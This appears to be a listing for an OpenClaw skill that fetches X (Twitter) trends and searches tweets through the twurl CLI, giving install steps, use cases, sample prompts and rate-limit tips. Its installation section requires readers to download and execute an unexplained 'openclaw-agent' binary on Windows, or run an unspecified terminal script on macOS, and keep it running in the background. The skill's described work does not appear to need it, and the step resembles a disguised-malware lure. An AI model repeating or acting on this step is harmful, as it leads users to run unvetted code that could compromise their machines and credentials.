The x-trends skill acts as a powerful interface for monitoring, analyzing, and reporting on trending topics on X (formerly Twitter). By leveraging the openclaw-agent and twurl CLI, this skill enables users to retrieve real-time data on global or regional hashtags. It simplifies the complexity of interacting with the Twitter API, allowing the agent to fetch trending metadata—including tweet volume and hashtag popularity—based on specific geographical locations or worldwide aggregations. It also provides deep-dive capabilities into recent search data, allowing you to pull specific tweets filtered by criteria like media inclusion or verification status.
Installation
To use this skill, ensure you have the openclaw-agent utility installed and actively running on your machine. For Windows, download the official release, extract it, and execute the binary. For macOS, use the provided terminal script to configure your environment. Once the agent is live, you must install the twurl CLI via gem install twurl. Complete the setup by running twurl authorize with your valid X developer API credentials. Finally, run clawhub install openclaw/skills/skills/hightower6eu/x-trends-axy84 to integrate the skill into your OpenClaw environment.
Use Cases
This skill is ideal for social media managers looking to identify viral topics for content strategy, marketing researchers tracking brand sentiment in real-time across different countries, and journalists seeking immediate context on breaking news stories. You can use it to perform competitive analysis by tracking trends in key markets or to automate the gathering of data for sentiment analysis projects.
Example Prompts
- "What are the top 5 trending topics in the United Kingdom right now?"
- "Search for recent tweets containing #OpenAI and filter for those that include media.
- "Show me the current worldwide trends and identify which ones have a high tweet volume."
Tips & Limitations
Note that X trends update approximately every 5 minutes. API usage is governed by a strict rate limit of 75 requests per 15-minute window; plan your automated workflows accordingly to avoid throttling. Always verify that your API credentials have the correct permissions for v1.1 trends and v2 search endpoints. If results are missing, verify that the openclaw-agent background process has not crashed.
